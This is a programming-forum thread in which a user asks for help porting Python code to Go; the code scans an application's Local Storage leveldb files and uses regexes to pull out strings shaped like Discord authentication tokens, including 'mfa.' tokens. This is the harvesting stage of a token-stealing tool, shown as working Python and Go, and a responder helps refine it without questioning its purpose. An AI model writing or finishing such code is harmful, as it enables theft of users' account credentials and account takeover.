Regex for loop from python to Go lang

    for file_name in os.listdir(path):
        if not file_name.endswith('.log') and not file_name.endswith('.ldb'):
            continue

        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)

I am trying to make this python part of code in golang, I don’t know how to do this part:


        for line in [x.strip() for x in open(f'{path}\\{file_name}', errors='ignore').readlines() if x.strip()]:
            for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):
                    tokens.append(token)

I got it to work, but sometimes not all tokens get returned, just a few, and the correct one isn’t there. I think the problem is at regex but I would gladly appreciate if someone could tell me how to make this in golang.

So what do you have right now?

It’s often easier to help from code that is already there and doesn’t work as expected, than from scratch, also showing us some code in advance tells us that you tried and aren’t just asking us for doing your homework :smiley:


func token_lookup(path string) ([]string, string) {
	var tokens []string
	path = path + "\\Local Storage\\leveldb"
	files, _ := ioutil.ReadDir(path)

	for file := range files {
		var fileName string = files[file].Name()
		if strings.HasSuffix(fileName, ".log") == false && strings.HasSuffix(fileName, ".ldb") == false {
			continue
		}

		r, _ := regexp.Compile("(?s)[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}")
		f, _ := ioutil.ReadFile(path + "\\" + fileName)

		if r.Match(f) {
			tokens = append(tokens, string(r.Find(f)))
		}

	}
	return tokens, path
}

This is what I got right now, but it doesn’t return all the tokens that exist.

I have the

for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}'

part but I need the

, r'mfa\.[\w-]{84}'):

also. Because if not it won’t fetch all the tokens (If Im right)

In other words, I need this:

   for regex in (r'[\w-]{24}\.[\w-]{6}\.[\w-]{27}', r'mfa\.[\w-]{84}'):
                for token in re.findall(regex, line):

but in golang

A loop would probably be overkill, it’s just 2 regexes.

So compile and match them individually, one after the other.

Also you probably want to use a package variable for the compiled regexes and use MustCompile (or something like that) to get syntax errors fixed quickly.

Also you can use ` to enclose the regex string (aka raw string) then you don’t need to escape the backslashes.